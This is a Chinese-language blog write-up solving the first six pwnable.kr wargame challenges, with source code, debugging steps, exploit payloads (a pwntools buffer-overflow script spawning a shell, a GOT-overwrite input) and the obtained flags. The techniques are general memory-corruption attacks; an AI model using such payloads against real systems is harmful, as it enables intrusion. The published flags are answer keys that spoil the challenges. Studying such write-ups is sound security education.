pwnable.kr前六题wp

0x01 fd

根据题目ssh fd@pwnable.kr -p2222 (pw:guest), ssh登录目标服务器。

登录上之后查看当前目录文件,发现有三个文件fd,fd.cflag,分别查看一下内容,cat flag发现无权限,fd也就是fd.c编译后的可执行文件。

其中flag.c内容如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;

}

解题点:

  • argc与argv

对于C语言int main(int argc char *argv[])来说,argc保存的是命令行总的参数个数(包括程序名),argv这是传入参数的数组.举个例子,当你执行: ./test 1 2 3 时,argc = 4 而 argv[0] = test",argv[1] = 1,argv[2] = 2,argv[3] = 3

  • atoi()

atoi是把字符串转换成整型数的一个函数。char ======> int

  • read()

UNIX/Linux平台上,对于控制台(Console)的标准输入,标准输出,标准错误输出,也对应了三个文件描述符(即fd = File Description )。它们分别是0,1,2。也就是说read(0,buf,32)表示从键盘读入至多32个字节到buf中

分析可知,我们需要让if判断成立,也就是控制buf为LETMEWIN\n,也就是需要

  • 使fd=0
  • 输入LETMEWIN\n传到数组中

首先使得fd=0,也就是atoi( argv[1] ) - 0x1234=0,此事与应注意,0x1234需要换算为十进制。

fd@ubuntu:~$ python -c "print(0x1234)"
4660
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

0x02 collision

依然还是ssh登录服务器,ssh col@pwnable.kr -p2222

和上题一样,当前目录有三个文件,查看一下c文件:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

总之要使参数长度为20且hashcode == check_password( argv[1] )成立。

在check_password中,我们传入了一个字符数组p,然后强制转换成int数组,char的存储大小为1字节,而int的存储大小为4字节,所以在转换的过程中每4个char转换为一个int,20个char字符转换为5个int。

如果输入的数据为12345678,用整型转换时的内存情况如下:

字符1存储在内存为什么是0x31,这是字符1的ascci码表示,字符在计算机中存储的都是其对应的ascci码

对20个字节,要构造输入的整型转换后的5个整数求和 == 0x21DD09EC,我们将前16个字节都设为0x01,后4个字节就是(0x21DD09EC-0x010101014)=0x1DD905E8。于是,我们可以输入串0x01 16 + 0xE80x050xD90x1D (注意以上排列顺序,因为是32位,所以是小端输入。)

实际上输入没有标准答案,但是输入不能混有0x00,因为0x00对应的字符是空格

标准输入中,非字母数字以及符号的ASCII字符并不好输入,实际上有这样一种技巧来通过生成的方式处理:

python -c "print '\x01\x01\x01\x01'*4 + '\xe8\x05\xd9\x1d'"

最终flag:

col@ubuntu:~$ ./col `python -c "print '\x01\x01\x01\x01'*4 + '\xe8\x05\xd9\x1d'"`
daddy! I just managed to create a hash collision :)

0x03 bof

下载文件,打开c源码如下:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

只要输入的overflowme覆盖掉key即可,只需要弄清楚多少个字节可以覆盖到key。

一开始我自己调试的时候,是自己把源代码重新编译了一遍,想着这样可以直接在行上下断点,然后查看栈信息即可,但是这样和答案不对。

所以还是在下载的程序上直接调试。参考https://www.jianshu.com/p/b7a2e255d243

首先gdb在func下断点,然后运行。

接着layout asm进入反汇编窗口,单步到接收输入的地方。

继续单步,输入AAAAAAAA,然后查看栈内存信息。

A的ascci码是41,所以可以看到这里只要输入52个字符就可以到0xdeadbeef。

利用pwntools写的exp如下:

from pwn import *
r = remote("pwnable.kr",9000)
buf = "A"*52 + p32(0xcafebabe)
r.send(buf)
r.interactive()

运行结果:

0x04 flag

根据提示,下载flag。用查壳工具检查发现加了UPX的壳,执行strings flag查询flag的壳类型。

脱壳,直接换kali:

之后拖入ida是以下结果:

F5s试试

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *dest; // ST08_8

  puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
  dest = (char *)malloc(100LL);
  strcpy(dest, flag);
  return 0;
}

程序首先malloc100字节内存,然后将flag复制进去,双击flag试试?得到flag:

UPX...? sounds like a delivery service :)

0x05 passcode

参考链接:https://www.jianshu.com/p/886a7b8c2ad5

依旧是ssh连接,然后利用xshell把可执行文件下载下来。

源码如下:

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
        scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;    
}

login函数调用scanf的时候,对参数没有取址的操作,那我们输入的数据保存到哪里去了呢?谁也不知道,因为passcode1passcode2没有被初始化,我们只知道scanf把数据保存到passcode1passcode2中的值指向的那个地址里去了。

如果能控制passcode1或者passcode2的值,把它们的值变成一个地址,那在输入的时候不就相当于往这个地址写东西了吗!

接下来用GDB调试。先查看一下调用了什么函数:

接着在welcome下个断点,然后查看一下堆栈信息。

可以看到welcome函数的ebp是0xffffd048,mov eax,gs:0x14说明用了GS保护。继续输入n单步查看:

可以看到name位于 ebp -0x70,继续n向下,输入aaaaaa:

\

可以输入的aa在0xffffcfd8,继续,直到login函数,输入s进入函数。

可以看到ebp没变,login和welcome的ebp一样。继续向下看:

passcode1的地址是ebp-0x10,再继续下去就奔溃了。这是因为我们将值输入到了passcode1的值上面,指向了一个不可写的地址,所以奔溃了。那么我们是否可以提前控制passcode1的地址所在的值。

回想一下以上调试过程,login和welcome在一个栈空间,并且name位于ebp-0x70,passcode1位于ebp-0x10,相差0x60,也就是96个字节,而name长度为100,所以name后四个字节刚好可以覆盖passcode1。所以这里passcode1的值是可控的。

怎么利用呢,这里涉及到一个知识了:GOT表是可写的。

我们可以将passcode1的值设为某个地址,然后输入passcode1的时候可以控制该地址的值。也就是这两步我们可以控制一个地址和该地址上的值。这里就控制printf的地址和值即可,因为后面就调用了这个函数。

这里直接将printf对应的地址的值设置为system的地址,那么调用printf函数时,也就调用了system语句,输出了flag。

接下来就找地址即可:

  • readelf -r ./passcode 查看程序的 plt,可以看到printf的偏移是0x0804a000,综上把name的最后四个字节printf函数的地址,即0x0804a000。

  • 用disassemble login找system的地址0x080485e3,又因为scanf的时候用的%d所以要把system的地址转换成十进制080483E3 == 134514147(十进制)

最终的payload = 'a'*96 +'x00xa0x04x08'+'n'+'134514147n'

验证flag:

passcode@ubuntu:~$ python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

0x06 random

首先下载文件到kali:

scp -P2222 random@pwnable.kr:/home/random/random /root
scp -P2222 random@pwnable.kr:/home/random/random.c /root/

源码如下:

#include <stdio.h>

int main(){
    unsigned int random;
    random = rand();    // random value!

    unsigned int key=0;
    scanf("%d", &key);

    if( (key ^ random) == 0xdeadbeef ){
        printf("Good!\n");
        system("/bin/cat flag");
        return 0;
    }

    printf("Wrong, maybe you should try 2^32 cases.\n");
    return 0;
}

首先产生一个随机数random,再接收输入到key,我们要满足的是(key ^ random) == 0xdeadbeef ,问题是这里的random是随机产生的,似乎无法确定值。

其实在于rand函数是伪随机的,伪随机数的"随机"之处是它的种子(seed),种子确定后,按照一定算法所计算出来的随机数序列也就完全确定了,C语言中,可以通过 srand() 来指定种子。如果用户在调用 rand()之前没有调用过 srand(),则系统默认种子为1。这里其实每次产生的随机数是一样的。

所以很简单了直接编写poc如下:

#include<stdio.h>
#include<stdlib.h>

void main(){
    unsigned int random, result;
    random = rand();
    result = 0xdeadbeef ^ random;
    printf("%x", result);
}

得到结果3039230856

random@ubuntu:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...

后面的另写,写在一起太长了

1 + 7 =
快来做第一个评论的人吧~